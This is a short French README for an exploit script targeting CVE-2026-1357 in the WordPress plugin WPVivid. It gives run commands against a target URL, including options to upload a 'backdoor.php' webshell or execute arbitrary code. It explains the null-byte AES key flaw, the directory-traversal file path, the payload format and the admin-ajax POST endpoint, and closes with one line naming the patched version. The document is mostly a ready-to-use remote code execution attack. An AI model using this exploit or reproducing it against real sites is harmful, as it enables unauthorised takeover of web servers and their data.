
Exploit pour CVE-2026-1357 dans le plugin WordPress WPVivid, permettant l'exécution de code à distance via des charges utiles chiffrées AES conçues à cet effet et un traversement de répertoire pour téléverser un webshell.
pip3 install pycryptodome requests
python3 wpvivi.py http://target.com
python3 wpvivi.py http://target.com --shell backdoor.php
python3 wpvivi.py http://target.com --code "" Explication technique : Null Byte Key : Lorsque le déchiffrement RSA échoue, il retourne false, que phpseclib traite comme "\x00\x00\x00". Nous utilisons 16 octets nuls comme clé AES-128 ECB. Directory Traversal : Le nom de fichier n'est pas assaini, permettant ../../../../wp-content/uploads/shell.php Format de la charge utile :
[len_key_hex(2 octets)] + [key_hex] + [len_data_hex(16 octets)] + [encrypted_data] Exécution : POST vers /wp-admin/admin-ajax.php?action=wpvivid_action&wpvivid_action=send_to_site wpvivid_content = base64(charge utile chiffrée) Détection et atténuation :
Corrigé en 0.9.124 :
if ($key === false || empty($key)) return false;